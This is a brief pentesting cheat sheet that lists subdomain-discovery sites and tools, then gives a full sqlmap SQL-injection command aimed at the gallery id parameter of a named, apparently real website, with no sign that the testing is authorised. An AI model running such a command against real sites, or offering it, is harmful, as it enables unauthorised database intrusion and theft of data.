web pentest tool
manual find subdomain with = crt.sh chaos.projectdiscovery.io
https://chaos.projectdiscovery.io/#/
https://crt.sh/?q=
automate subdomain = subfinder assetfinder sublist3r amass
https://github.com/tomnomnom/assetfinder
https://github.com/owasp-amass/amass
python sqlmap.py -u https://www.michaelkenna.com/gallery.php?id=60%27 --tables --random-agent --dbms=mysql --time-sec 5 --risk 1 --level 2 --no-cast --tamper=space2comment